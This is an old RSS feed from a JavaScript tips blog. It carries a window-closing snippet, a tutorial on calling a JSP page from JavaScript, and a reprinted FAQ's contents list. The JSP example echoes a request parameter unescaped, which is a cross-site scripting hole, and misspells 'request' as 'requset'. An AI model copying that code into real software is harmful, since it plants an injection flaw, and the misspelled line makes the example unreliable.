<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; Java script</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/java-script/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to close a window without prompt?</title>
		<link>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/</link>
		<comments>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 08:19:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[closing a jsp]]></category>
		<category><![CDATA[closing a servlet window]]></category>
		<category><![CDATA[How to close a window without prompt?]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[window.close()]]></category>
		<category><![CDATA[window.opener = top;]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=288</guid>
		<description><![CDATA[How to close a window without prompt?
For servlet:
        out.println (&#8221;&#60;script&#62;&#8221;);
        out.println (&#8221;window.opener = top;&#8221;);
        out.println (&#8221;window.close()&#8221;);
        out.println (&#8221;&#60;/script&#62;&#8221;);
For html or jsp:
         &#60;script&#62;
        window.opener = top;
        window.close();
        &#60;/script&#62;
]]></description>
			<content:encoded><![CDATA[<p>How to close a window without prompt?</p>
<p>For servlet:</p>
<p>        out.println (&#8221;&lt;script&gt;&#8221;);<br />
        out.println (&#8221;window.opener = top;&#8221;);<br />
        out.println (&#8221;window.close()&#8221;);<br />
        out.println (&#8221;&lt;/script&gt;&#8221;);</p>
<p>For html or jsp:</p>
<p>         &lt;script&gt;<br />
        window.opener = top;<br />
        window.close();<br />
        &lt;/script&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to call Jsp page from Javascript?</title>
		<link>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/</link>
		<comments>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:07:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[how to call jsp from java script]]></category>
		<category><![CDATA[How to call Jsp page from Javascript]]></category>
		<category><![CDATA[how to calljsp page from JS]]></category>
		<category><![CDATA[INPUT TYPE=BUTTON]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[jsp page]]></category>
		<category><![CDATA[requset.getParameter]]></category>
		<category><![CDATA[window.location.href]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=196</guid>
		<description><![CDATA[We can call JSP page from JavaScript using &#8220;window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.
Example:
Hello.html:
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;Add Faulty Phones&#60;/title&#62;
&#60;script type=&#8221;text/javascript&#8221;&#62;
function changeLocation()
{
window.location.href =&#8217;hello.jsp?name=John&#8217;;
}
&#60;/script&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;form method=get&#62;
&#60;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&#62;
&#60;/form&#62;
&#60;/html&#62;

 hello.jsp:

 &#60;center&#62;Hello &#60;%=requset.getParameter(&#8221;name&#8221;)%&#62;
&#60;/center&#62;
]]></description>
			<content:encoded><![CDATA[<p>We can call JSP page from JavaScript using &#8220;<span style="font-size: x-small; font-family: Arial;">window.location.href = &#8216;download.jsp&#8217;?name=john;&#8221; where download.jsp is jsp file, name is parameter name and john is parameter value.</span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Example:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;"><strong><span style="text-decoration: underline;">Hello.html:</span></strong></span></p>
<p><span style="font-size: x-small; font-family: Arial;">&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;Add Faulty Phones&lt;/title&gt;<br />
&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
function changeLocation()<br />
{<br />
window.location.href =&#8217;hello.jsp?name=John&#8217;;<br />
}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;form method=get&gt;<br />
&lt;INPUT TYPE=BUTTON ONCLICK=&#8221;changeLocation()&#8221; VALUE=&#8221;Click&#8221;&gt;<br />
&lt;/form&gt;<br />
&lt;/html&gt;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="text-decoration: underline;"> </span></strong><span style="font-size: x-small; font-family: Arial;"><span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial"><strong><span style="text-decoration: underline;">hello.jsp:</span><br />
</strong></span></span></p>
<p> &lt;center&gt;Hello &lt;%=requset.getParameter(&#8221;name&#8221;)%&gt;<br />
&lt;/center&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/07/01/how-to-call-jsp-page-from-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JAVASCRIPT FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:10:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[Can I mirror or reprint this FAQ?]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[How is JavaScript syntax like C / C++?]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[JAVASCRIPT FAQ]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[tec]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[Web applications]]></category>
		<category><![CDATA[What is JavaScript?]]></category>
		<category><![CDATA[What versions of the language does this FAQ cover?]]></category>
		<category><![CDATA[What's not covered here?]]></category>
		<category><![CDATA[Where can I find online documentation for JavaScript?]]></category>
		<category><![CDATA[Who wrote this FAQ?]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=164</guid>
		<description><![CDATA[
 
 

This FAQ has been taken from http://www.intranetjournal.com/faq/js-faq.shtml with the permission of the editor.
For more details visit Intranet Journal at
http://idm.internet.com/index.html
http://www.intranetjournal.com/faq/js-faq.shtml
 
1.    General 
1.      What is JavaScript? 
2.      What versions of the language does this FAQ cover? 
3.      What&#8217;s not covered here? 
4.      Who wrote this FAQ? 
5.      Can I mirror or reprint this FAQ? 
 
2.    JavaScript Documentation [...]]]></description>
			<content:encoded><![CDATA[<div class="Section1"><strong><span style="text-decoration: underline;"></p>
<p class="MsoNormal"> </p>
<p> </p>
<p></span></strong></p>
<p class="MsoNormal" style="text-align: left;" align="left"><a name="TOP7"></a><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">This FAQ has been taken from</span><span style="font-weight: normal; color: navy; text-decoration: none; text-underline: none;"> </span><span style="font-size: 9pt; mso-bidi-font-size: 7.5pt;"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a> </span><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">with the permission of the editor.</span></p>
<p class="MsoNormal" style="text-align: left;" align="left"><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">For more details visit Intranet Journal at</span></p>
<p class="MsoNormal" style="text-indent: 0.25in;"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">http://idm.internet.com/index.html</span></a></span></p>
<p class="MsoNormal" style="text-indent: 0.25in;"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a></p>
<p class="MsoNormal" style="text-indent: 0.25in;"> </p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">General</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_1"><span style="color: #0000ff;">What is JavaScript?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_2"><span style="color: #0000ff;">What versions of the language does this FAQ cover? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_3"><span style="color: #0000ff;">What&#8217;s not covered here? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_4"><span style="color: #0000ff;">Who wrote this FAQ? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ1_5"><span style="color: #0000ff;">Can I mirror or reprint this FAQ? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">JavaScript Documentation</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_1"><span style="color: #0000ff;">Where can I find online documentation for JavaScript? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_2"><span style="color: #0000ff;">Where is the official bug list for JavaScript? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ2_3"><span style="color: #0000ff;">Read any good JavaScript books lately? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">First Principles</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_1"><span style="color: #0000ff;">What are the language&#8217;s basic entities? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_2"><span style="color: #0000ff;">How does JavaScript model the world? (Nifty Object Map.) </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_3"><span style="color: #0000ff;">What are JavaScript event handlers? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ3_4"><span style="color: #0000ff;">How is JavaScript syntax like C / C++? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">How do I &#8230;</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_1"><span style="color: #0000ff;">&#8230; embed JavaScript in a web page? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_2"><span style="color: #0000ff;">&#8230; use &#8216;var&#8217; to make a variable name local? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_3"><span style="color: #0000ff;">&#8230; use quotation marks when scripting? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_4"><span style="color: #0000ff;">&#8230; submit forms by e-mail? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_5"><span style="color: #0000ff;">&#8230; script a visit counter? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_6"><span style="color: #0000ff;">&#8230; script a calendar on the fly?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">7.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_7"><span style="color: #0000ff;">&#8230; access objects and scripts in windows opened with <code><span style="mso-bidi-font-family: Arial; mso-ansi-font-size: 12.0pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">window.open()</span></code>? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">8.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_8"><span style="color: #0000ff;">&#8230; use JavaScript to password-protect my Web site? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">9.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_9"><span style="color: #0000ff;">&#8230; write browser-independent scripts? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">10.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_10"><span style="color: #0000ff;">&#8230; match text patterns like I can in Perl? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">11.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_11"><span style="color: #0000ff;">&#8230; prevent others from seeing/copying my scripts? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">12.<span style="font: 7pt 'Times New Roman';"> </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ4_12"><span style="color: #0000ff;">&#8230; detect whether JavaScript support has been disabled?</span></a> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Troubleshooting</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_1"><span style="color: #0000ff;">What can&#8217;t JavaScript do? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">2.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_2"><span style="color: #0000ff;">Where can scripts go wrong? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">3.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_3"><span style="color: #0000ff;">What are the most common scripting mistakes? </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">4.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_4"><span style="color: #0000ff;">Why won&#8217;t my script work &#8230; </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">5.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_5"><span style="color: #0000ff;">Jscript issues </span></a></span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ5_6"><span style="color: #0000ff;">Portability </span></a></span></p>
<p class="MsoNormal" style="margin-left: 0.5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo1; tab-stops: list .5in;"><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">6.<span style="font: 7pt 'Times New Roman';">    </span></span><strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Programming Tools</span></strong><span style="font-size: 14pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span></p>
<p class="MsoNormal" style="margin-left: 1in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level2 lfo1; tab-stops: list 1.0in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">What tools are available for developing JavaScript pages?</span></p>
<p class="MsoNormal" style="margin-left: 1.5in; text-indent: -0.25in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level3 lfo1; tab-stops: list 1.5in;"><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;">1.<span style="font: 7pt 'Times New Roman';">      </span></span><span style="font-family: Arial; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#FAQ6_1"><span style="color: #0000ff;">NetObjects ScriptBuilder</span></a><sup>TM</sup></span></p>
